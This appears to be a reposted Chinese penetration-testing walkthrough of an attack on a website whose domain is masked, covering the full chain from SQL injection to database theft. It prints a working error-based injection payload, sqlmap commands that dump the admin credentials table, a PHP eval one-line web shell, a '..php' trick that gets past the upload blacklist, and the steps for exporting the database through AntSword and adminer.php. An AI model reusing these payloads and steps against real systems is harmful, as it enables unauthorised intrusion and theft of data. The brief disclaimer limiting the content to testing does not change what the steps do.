本实战案例非常适合练手,从sql注入、后台管理员登录、上传绕过、webshell、服务器权限,一套完成的渗透流程。 后续将会对此站做后渗透测试。 本文章技术仅用于渗透安全测试。 涉及知识点: 1、寻找注入点 2、寻找管理后台,目录扫描(dirmap) 3、寻找管理后台,扫描子域名(sublist3r 扫描到了子域名,找到后台) 4、sqlmap注入,获取管理员账号并解密 5、上传绕过,网站管理后台找到文件上传点(..php,后台过滤了.php) 6、蚁剑连接后查到到数据库文件,连接数据库连接成功 7、上传可以大马adminer.php(类似phpmyadmin可以直接连数据库)导出数据 01 寻找注入点 网址 http://xx.xx.xx/ 网站点击功能菜单跳转 http://xx.xx.xx/xx.php?pkey=6 在参数6后加上下引号,测试是否存在注入点 http://xx.xx.xx/xx.php?pkey=6’ 有回显报错 Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''6''' at line 7 用updatexml做报错注入测试 http://xx.xx.xx/xx.php?pkey=6%27%20 and%20updatexml(1,concat(0x3a,(select%20database())),1)%23 回显数据库: Invalid query: XPATH syntax error: ':lbwzbm' 证明存在注入,而且未发现过滤 02 Dirmap目录扫描 Dirmap.py扫描网站目录,寻找管理页面入口,未发现 python3 dirmap.py -i http://xx.xx.xx/ -lcf 03 Sublist3r 域名扫描 Sublist3r.py扫描网站域名,寻找管理页面入口,未发现 python2 Sublist3r.py -d xx.xx.xx -o 12.txt 结果 www.xx.xx.xx cms.xx.xx.xx cpanel.xx.xx.xx cpcalendars.xx.xx.xx cpcontacts.xx.xx.xx library.xx.xx.xx mail.xx.xx.xx record.xx.xx.xx webdisk.xx.xx.xx webmail.xx.xx.xx 推断、试验后:cms.xx.xx.xx 为管理页面 输入http:// cms.xx.xx.xx 跳转到 https://yy.yy.yy.yy /yy/login.php 打开后登录页面 04 sqlmap注入 上文网站注入点已经通过手动找到,如果通过手动注入不现实,而且不一定能成功,所以这里用注入神器sqlmap跑起来。 本地windows下跑sqlmap(本地网不稳定,容易中断,建议可以用在VPS上做sql注入,更安全更稳定) 为了手机里方便看,命令我做了换行 跑用户 python2 sqlmap.py -u http://xx.xx.xx/xx.php?pkey=6 --technique=BE --current-user 爆库 python2 sqlmap.py -u http://xx.xx.xx/xx.php?pkey=6 --technique=BE --current-db 爆表 python2 sqlmap.py -u http://xx.xx.xx/xx.php?pkey=6 --technique=BE -D kauyan –tables 爆字段 python2 sqlmap.py -u http://xx.xx.xx/xx.php?pkey=6 --technique=BE -D xx -T xx –columns 爆数据(login登录账号,pwd密码md5加密,user_group用户组管理员值为admin) python2.7 sqlmap.py -u http://xx.xx.xx/xx.php?pkey=6 --technique=E -D xx -T xx -C login,pwd,pkey,user_group –dump 数据 密码是md5加密,需要解密(此处是付费解密的) 解密后获得密码明文 注意需要找到用户为管理组(admin)的用户,这样才有管理员权限 在vps上跑sqlmap不易中断,速度较快 设置参数后,效率会大大增加 --current-db --current-user --is-dba 是否是dba --threads=3 开3个进程 --batch 批量执行默认选项 –random-agent 使用随机选定的User-Agent头 06 登录后台,木马上传 登录页面 https://yy.yy.yy.yy/yy/login.php 用sqlmap注入获取的用户名,密码输入 进入后台管理页面 https:// yy.yy.yy.yy/yy /user.php 系统管理-文件管理-新增 找到上传点
上传一句话小马 上传一句话小马(或者大马) 先上传小马zmg.php <?php @eval($_POST['xyz']); ?> 上传后返回1348_1.php_ 证明上传后扩展名被过滤处理了, 上传无提示说明是黑名单过滤,尝试各种过滤方法 尝试后缀名为“..php” 进行上传,成功(关键点上传绕过) 访问,证明上传成功 中国蚁剑连接小马,连接成功 寻找找到网站数据库配置文件 _conn.php推断或为数据库连接文件,打开果然是 中国蚁剑连接后台数据库(也可以上传带数据库管理功能的大马进行连接数据库) 查看到所有数据 可以导出数据 上传大马 可以在网站上传点上传,或者蚁剑上传 php大马adminer.php功能mysql数据库管理 http://www.xx.xx.xx/filedata/tbl_cms_doc/doc/1311_1..php 进入类似phpmyadmin.php数据库管理页面 登录成功,可以任意导出数据。 |
|
来自: 新用户36657816 > 《待分类》